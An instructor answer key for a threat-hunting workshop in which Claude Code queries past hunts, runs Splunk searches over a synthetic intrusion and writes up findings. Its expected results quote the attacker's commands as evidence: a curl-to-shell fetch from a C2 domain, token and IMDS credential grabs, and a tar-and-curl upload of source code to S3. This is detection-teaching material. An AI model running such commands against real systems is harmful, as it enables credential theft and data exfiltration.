ANSWER KEY · AGENTIC HUNTING WORKSHOP

Module 4 — The Assistant Runs the Hunt (40 min, instructor demo)

> **Watch the screen.** The instructor drives; you don't need to type anything. **Level coverage: L3–L4.** Claude (Claude Code) reads the hunts you wrote in Modules 1–3 through ATHF's MCP server, finds what you haven't covered, runs the Splunk searches itself, and writes **H-0008**. Every prompt below is plain English, and each one ends with a limit ("then stop"), so Claude answers that question and nothing more. To replay this at home, see `MCP_SETUP.md`.

What Claude can use:

Tool	What it gives Claude
ATHF MCP server (`athf-mcp`, comes with `athf[all]`)	Your hunts: list, search, read, coverage, create, validate
Splunk search helper (instructor's laptop only)	Runs one SPL search, returns the rows
A short rules file (`CLAUDE.md`)	Where the data lives, field names, "say why before each search"

> **Answer key — staff + self-study**
>
> **Presenter prep (before class, ~10 min).** Same workspace and terminal you finish Module 3 in.
>
> 1. Workspace built with `staff/demo-workspace.sh` (outside any repo, default `~/workshop-demo`) has H-0004…H-0007 and `athf hunt validate` passes. If M3's live H-0007 didn't land, copy `curriculum/03-research-agents/HUNTS_EXPECTED/H-0007.md` into `hunts/`, replace its `sam.sudo` with your name (`sed -i '' 's/sam\.sudo/<Your Name>/g' hunts/H-0007.md`, or Claude copies sam.sudo into H-0008), and add `H-0007` to R-0001's `linked_hunts`.
> 2. Claude launched with `staff/demo-claude.sh --bedrock` from the workspace: vanilla config dir, only the `athf` MCP server, ATHF tools + `staff/splunk-search.sh` pre-approved, tunnel and Splunk login checked. `/mcp` → `athf` connected, 21 tools. If the tools don't show up: `/mcp` → reconnect, or quit and restart.
> 3. Start a **fresh** Claude session for Beat 1 (`/clear`, or restart the launcher). Font large.
> 4. **Screen:** two windows, slides and the terminal. Every beat is the same loop: prompt slide → terminal (type the prompt, let the tool calls scroll) → back to slides for "what Claude found". You never open Splunk Web in M4; Claude runs the searches.
>
> **The real ATHF 0.24 MCP tools.** The old lab's `search_hunts_by_text`, `list_coverage_gaps`, `propose_next_query`, `find_similar_hunts` and `generate_hunt_hypothesis` **don't exist**. This demo uses `athf_hunt_list`, `athf_hunt_get`, `athf_hunt_coverage`, `athf_hunt_validate`, and the `athf hunt new` CLI (`CLAUDE.md` says so: it links `--research` both ways). There is no "propose a query" tool: Claude writes the SPL itself from the coverage result and the SPL in your hunts' CHECK sections.
>
> **Re-tested 2026-11-10 (final pass)**: Beat 2 prompt 2 through Beat 4, every prompt exactly as written below, in one `--continue` session (8 calls). All landed; notes per beat. **Rehearsed 2026-11-10** on a vanilla headless Claude Code (Sonnet 5 on Bedrock, fresh config dir, only `athf` MCP, workspace `CLAUDE.md` = `staff/DEMO_CLAUDE.md`, Nov corpus). Each answer took 8–35 s; the two hunt-file edits took ~2 min each. Claude's wording and its exact searches differ every run; the findings below don't.

> **Why every prompt ends with a limit (R9).** Without it Claude keeps going: in earlier rehearsals it chased the C2 thread from the credential step and wandered into the runner before Beat 4. With the limits, every beat stayed in its lane: one search for "Run it", DNS only for the exfil step, host name only for the C2 question. The cost is that it won't iterate on its own; when a search comes back thin, *you* send the next prompt (they're below). Say so: "I told it to stop. Deciding what's next is my job."

Beat 1 — Memory (5 min)

Guiding question (orientation): *You wrote four hunts today. What should an assistant be able to tell you about them without you opening a file?*

Prompt:

```
What have I hunted before? One line each. Just list them, don't investigate
further.
```

> **Answer key — staff + self-study**
>
> **Screen:** slide "1 · Memory" → terminal. **Say:** "It's reading the files you wrote, not my notes. No copy-paste." **Show (terminal):** the `athf_hunt_list` tool call, then the list. Back to slides: "what Claude did". Expected (rehearsed, 10 s): 7 hunts: the 3 ATHF examples (macOS, Linux cron, AWS Lambda) and H-0004…H-0007, one line each with status. H-0005 is `in-progress`; the rest `completed`. If it remarks that H-0004…H-0007 have "0 findings recorded": ATHF counts the `findings:` list in the front matter, not the Findings table we filled. Say: "It read them more carefully than we did. H-0008 will fill both." Fallback: type `Use the athf_hunt_list tool.` No MCP at all: run `athf hunt list` in the terminal and narrate.

Beat 2 — Blind spots (10 min)

Guiding question (decision): *M1–M3 each started from a thread you could see. What happened in this intrusion that nothing has pointed you at yet?*

Prompts, in order:

```
Where are my coverage gaps? Just list them, don't search Splunk yet.
```

```
Propose one Splunk query for the credential access gap: what would this
attacker steal from a developer's build machine? Use the field names from my
hunts' CHECK sections, and include pid and ppid. Show me the query, don't
run it yet.
```

> **Answer key — staff + self-study**
>
> **Screen:** slide "2 · Blind spots" → terminal → slides "what Claude found" → slide "2 · Next query" → terminal → slides "what Claude wrote". **Show (terminal):** `athf_hunt_coverage` → the list. Expected (prompt 1, 8 s): no hunts for reconnaissance, resource development, defense evasion, **credential access**, lateral movement, **exfiltration**, impact; persistence best covered. **You pick the two.** Say: "We found the C2. Nothing yet says what was stolen or what left: credential access and exfiltration." In rehearsal, asked to rank them itself, Claude picked defense evasion + credential access, so the prompt only asks for the list and the choice is yours. That's the point to make in the recap: it still needed you for which gap. Coverage numbers are inflated (ATHF credits every technique in a hunt to every tactic the hunt lists). True; don't chase it. Expected (prompt 2, ~30 s): it opens H-0004/H-0006/H-0007 with `athf_hunt_get` for the field names, then writes an eCAR `object=PROCESS action=CREATE` search over `properties.command_line` for dev secrets (`.aws\credentials`, `.npmrc`, `.git-credentials`, `.ssh\id_rsa`, `_netrc`, env dumps). **Show:** the field names came from your CHECK sections. It doesn't run it. **Don't** drop the "developer's build machine" clause. Without it Claude proposed LSASS / procdump / browser-credential searches, which find nothing in this corpus. **Don't** type "Propose the next query": it picks the open C2 thread and spoils Beat 4. Fallback: `Use athf_hunt_coverage.` / `athf hunt coverage` in the terminal. Query: the first fallback search in Beat 3.

Beat 3 — Run and record (15 min)

Guiding question (interpretation): *Claude says it found something. What would you check before you believe it?*

Prompts, in order:

```
Run it. Just this one search, then tell me what it found, don't investigate
further.
```

```
Show me everything on that host in the minute around that read, with pid and
ppid. Only that host and that minute, don't investigate further.
```

```
Now check DNS for exfiltration, across all hosts: tunnelling shows up as
many unique names under one domain. Run it, then tell me which host sent
them and when. DNS only, then stop.
```

```
Write this up as a hunt, including the findings: list in the front matter,
and validate it. Only what we found so far, no new searches.
```

Fallback searches (if the instructor needs to paste):

```
index=thrunt sourcetype="evidenceforge:ecar:json" object=PROCESS action=CREATE
(properties.command_line="*type*\\.env*" OR properties.command_line="*\\.aws\\credentials*"
OR properties.command_line="*findstr*password*.netrc*")
| table _time hostname principal pid ppid properties.parent_image_path properties.command_line
```

```
index=thrunt sourcetype="bro:dns:json" qtype_name=TXT
| rex field=query "(?<domain>[^.]+\.[^.]+)$"
| stats count dc(query) as uniq_names by domain
| sort - uniq_names
| head 10
```

Answer key — staff + self-study

Screen: slide "3 · Run it" → terminal (prompts 1 and 2) → slides "what Claude found" → slide "3 · Exfiltration" → terminal → slides → slide "3 · Write it down" → terminal → slides "H-0008". **Say (Run it):** "Each search, it says why first. That's in its rules file. And it stops after one, because I told it to." Expected (prompt 1, ~25 s): one real hit, WS-BUILD-01 / alice.chmod, `cmd.exe /c type …\.aws\credentials`, plus noise from any broad keyword it added (`*set*` pulled in `timedatectl set-timezone`, `appsettings.json`). It didn't wander off: one search, then stop. If it already shows all three reads, skip prompt 2. (Final re-test: its query pinned WS-BUILD-01 + WS-DEV-04 and returned exactly the three reads, no noise, with ppids 5612/5612/6336: prompt 2 skipped. Ask "what is pid 5612?" only if the room wants lineage.) Expected (prompt 2, ~20 s): the minute around it on WS-BUILD-01, all alice.chmod, ~2h20m after the install: `cmd.exe /c type …\project\.env` and `cmd.exe /c type …\.aws\credentials` (both **ppid 5612**), then `findstr /si password …\*.env …\.netrc` 12 s later (from a separate `cmd.exe /k`, pid 6336, opened from explorer). **pid 5612 is the powershell.exe** whose children include `cmd.exe /c npm install -g packmule-cli@2.4.1`, the postinstall `node`, and the H-0007 `git config --global core.hooksPath`. That's the lineage answer. (pid 5612 is reused by svchost six days later: pid + hostname + time, never pid alone.) The fallback search also returns one WS-DEV-07 / henry.tar row (`type .env.local` from explorer): the benign decoy. Good "rule it out" moment. **Say (DNS):** "Exfil over the proxy would be in the logs we already read. The quiet channel is DNS, and DNS doesn't go through the proxy." Expected (prompt 3): it groups all DNS by base domain and counts unique names. `in-addr.arpa` (581) and `sudoshipping.local` (108) top it, then **`exfil-packmule.net` : 30 lookups, 30 unique names** (every name once; the SaaS domains below repeat). Then 10.60.10.11 (WS-BUILD-01), all TXT, 16:11→21:54 on the corpus day: ~50 min after the credential reads, over ~5h40m. First labels ~30 chars of base32-looking text. (Final re-test, ~30 s: it ran a second DNS-only search for the first/last time on `exfil-packmule.net`; still DNS only.) **Don't** send just "Now check DNS for exfiltration. Run it." with a stop limit. In rehearsal Claude ran one search (WS-BUILD-01's top 20 names by count), saw only internal names, and stopped: the 30 exfil names are each queried once, so they never reach a top-20 by count. The "many unique names" clause is the hunter's hypothesis; it's what makes one search enough. Fallback search 2 (TXT only) puts it at the top: 30 unique names; next is duo.com with 3. **Say (write-up):** "It writes the file the same way you did in M1: `athf hunt new`, then fills in CHECK and KEEP." **Show (terminal):** `athf hunt new --help`, then `athf hunt new` → H-0008 at `hunts/production/2026/Q4/H-0008.md` (the CLI files it by date, not in `hunts/`), then its edits scroll for ~2.5 min (talk over it: "it's filling the same template you did"), then validate passes. If a permission prompt for `athf hunt new` appears, approve it. Open the file: `hunter:` is your name, CHECK holds the SPL it ran, KEEP's Findings rows are `suspected`, front matter `findings:` has two entries (T1552.001 creds, T1048.003 DNS), `related_hunts: [H-0004, H-0006, H-0007]`. Without "including the findings: list in the front matter" it leaves `findings: []` (validate still passes). Model answer (interpretation Q): whether it's the attacker or alice. Lineage answers it: the `type` reads are children of the powershell (pid 5612) that ran the install and set the git hook. Telemetry only, so `suspected`; ATHF's evidence gate needs proof outside the logs for `confirmed`. Drill-down to paste (DNS by host):

```
index=thrunt sourcetype="bro:dns:json" query="*.exfil-packmule.net"
| stats count dc(query) as uniq by id.orig_h
```

> → `10.60.10.11, 30, 30`. Fallback (write-up): copy `HUNTS_EXPECTED/H-0008.md` over the generated file (or into `hunts/` if none was created; never both, that's two H-0008s) and open it. It's the filled file, and `athf hunt validate` passes on it.

Beat 4 — Same actor, new place (8 min)

Guiding question (decision): *You wrote the C2 domain down in Module 1. What can one question do with it now?*

Prompts, in order:

```
Has any other host talked to the C2 domains in my hunts? Find the host name,
then stop, don't look at what it ran yet.
```

```
What did that host run around its first C2 connection? Show the process
chain in time order, with pid and ppid, then stop.
```

```
Follow that gitlab-runner session to its last command, searching the whole
day, then tell me when it started compared with the npm install in H-0004.
Then stop.
```

```
Add this to H-0008, including the findings: list in the front matter, and
link it to H-0005 and H-0007. Validate it. No new searches.
```

Fallback searches:

```
index=thrunt sourcetype="apache:access:json" server="cdn-packmule-telemetry.net"
| stats count by client
```

```
index=thrunt sourcetype="evidenceforge:ecar:json" object=FLOW properties.direction=OUTBOUND
properties.src_ip="<the new client IP>"
| stats count by hostname
```

> **Answer key — staff + self-study**
>
> **Screen:** slide "4 · Same actor" → terminal → slides "what Claude found" → slide "4 · What did it run?" → terminal (prompts 2 and 3) → slides "CI-RUNNER-03" → slide "It was here first" → terminal (prompt 4, talk over it) → slides "Recap". **Show (terminal):** it reads the C2 domains out of H-0005 (`athf_hunt_get`), searches the proxy by client for both domains, checks Zeek DNS for other `*packmule*` askers, then maps the new IP with OUTBOUND flows. ~30 s. Expected (prompt 1): **CI-RUNNER-03 (10.60.30.13)**: 34 proxy requests to `cdn-packmule-telemetry.net` (32 CONNECT + 2 GET; Claude reports 32 if it filters `http_method=CONNECT`; in the final re-test it excluded 10.60.10.11 and said "34 proxy CONNECTs": it's 32 CONNECT + 2 GET, don't correct it on stage). WS-BUILD-01 (10.60.10.11) has 121 + 6 (`assets-packmule-cdn.com`). 105 OUTBOUND flows map 10.60.30.13 to CI-RUNNER-03, one host. WS-DEV-04 never beacons. No other host asked for `exfil-packmule.net`. With the limit it stops at the host name; it doesn't volunteer the timeline yet. Expected (prompt 2, ~25 s): it finds the runner's first CONNECT (11:00:02 on the corpus day, ~3.5h before WS-BUILD-01's first at 14:30) and lists PROCESS events around it: `java -jar integration-worker.jar --check-url https://cdn-packmule-telemetry.net/` (10:56–10:57, root/www-data) and a `curl --proxy … 169.254.169.254` probe, then `login -- gitlab-runner` → `-bash` (**pid**

456768) → `bash -c 'curl -fsSL https://cdn-packmule-telemetry.net/ci/bootstrap.sh | sh'` (11:00:01) → `sh -c 'node -e "…exec(atob(process.env.BK_STAGE))"'` (11:00:14), all **ppid 456768**. The java health-check is generator noise (eCAR also attributes the runner's beacon flows to `/usr/bin/java`); the `gitlab-runner` chain is the story. Name it: "gitlab-runner. Let's follow that session." Final re-test: it searched 10:50–11:10, dropped the java/cron/erin.sed noise itself and showed only the gitlab-runner lineage, already including the 11:06 `env | grep` and IMDS `curl`. Prompt 3 still matters: the tar + S3 upload is 1.5h later. **Don't** send "What did that host run?" with a stop limit. In rehearsal Claude pulled the host's earliest 50 events (08:05 cron and erin.sed admin sessions), saw nothing, and stopped. Anchor it on the first C2 connection. Expected (prompt 3, ~30 s): every child of pid 456768 to the end: ~6 min later `env | grep -E 'CI_JOB_TOKEN|AWS_|VAULT_'` and `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ci-runner-role`; ~1.5h later `tar czf /tmp/.build-cache/src.tgz /builds/sudoshipping/fleet-core + curl -T …src.tgz https://sudo-artifacts-backup.s3.us-west-2.amazonaws.com/fleet-core/`. Then: the session started **~2h before** the npm install on WS-BUILD-01. (Final re-test, ~35 s: it searched 00:00–24:00 by ppid, found the S3 upload at 12:30:39 as the last command, and timed H-0004 off the `postinstall.js` node at 13:00:08 rather than the `npm install` at 13:00:03. Same "~2h"; the line below uses the install.) In rehearsal (without "searching the whole day") it searched one hour, stopped at the IMDS fetch and missed the tar + S3 upload. If it does: paste the runner search below. **The reveal.** Verified on `index=thrunt`: the runner's `curl … | sh` (11:00:01) is **2h00m before** alice's `cmd.exe /c npm install -g packmule-cli@2.4.1` (13:00:03). The source code had already gone to S3 (12:30:39) ~30 min before the install. Claude says it; you land it: **Say:** "Same actor. And it was here first. The CI runner was poisoned two hours before alice ever typed npm install. Everything we did today, M1 to now, started at what we thought was the front door. It was the second door." **Say:** "I asked when, but I didn't tell it where to look. It could answer because every hunt you wrote had times, hosts and the C2 domain in it. Your records let it redraw the whole intrusion in three questions." Prompt 4 (~2 min): Claude adds a CI-RUNNER-03 finding (`suspected`, T1552.005 for the IMDS creds), `related_hunts: [H-0005, H-0007]`, the new SPL in CHECK, and the front-matter `findings:` entries; validate passes. Talk over it with the line above. Final re-test (~3 min): three new `suspected` findings (T1071.001 runner C2 + bootstrap, T1552.005 env + IMDS, T1567.002 tar + S3 upload; 5 total), `related_hunts` became `[H-0004, H-0005, H-0006, H-0007]`, and it also added `H-0008` to H-0005's and H-0007's `related_hunts` (both validate). `athf hunt validate` → 8 valid. It may offer to open H-0009 ("is the runner the real entry point?"). Say: "That's the next hunt, and it starts from a record." **Don't** use "Have I seen this infrastructure anywhere else?" In rehearsal Claude read "this infrastructure" as the exfil domain and never found the runner. Name the C2 domains. Paste-ready (the runner's job, by ppid):

```
index=thrunt sourcetype="evidenceforge:ecar:json" object=PROCESS action=CREATE
hostname="CI-RUNNER-03" principal="gitlab-runner"
| sort _time
| table _time pid ppid properties.command_line
```

Recap (2 min)

Guiding question (reflection): *Module 1 took 30 minutes for two hunts. What did Claude need from you to do this in 40 — and what did it still need you for?*

```
athf hunt list
```

```
athf hunt coverage
```

> **Answer key — staff + self-study**
>
> **Screen:** slides "Recap", then terminal for the two commands (or ask Claude: `What have I hunted before? One line each. Just list them, don't investigate further.`). Verified: `athf hunt list` shows H-0004…H-0008 plus the 3 examples; `athf hunt validate` → `8 valid, 0 invalid`; coverage shows Credential Access and Exfiltration with 1 hunt each. Model answer (reflection Q): it needed the hunts written down: the SPL in CHECK, the hosts, the times, the C2 domain. That's what it read in every beat, and it's why three questions in Beat 4 turned "a workstation installed a bad package" into "the CI pipeline was poisoned first, two hours earlier". It still needed you for which gap to chase, what tunnelling looks like, when to stop, whether a read was alice or the attacker, and the verdict: `suspected` until someone outside the logs confirms it. Memory is the edge; the agent is how you use it.

Take home: `MCP_SETUP.md` connects Claude Code or Claude Desktop to your own hunts.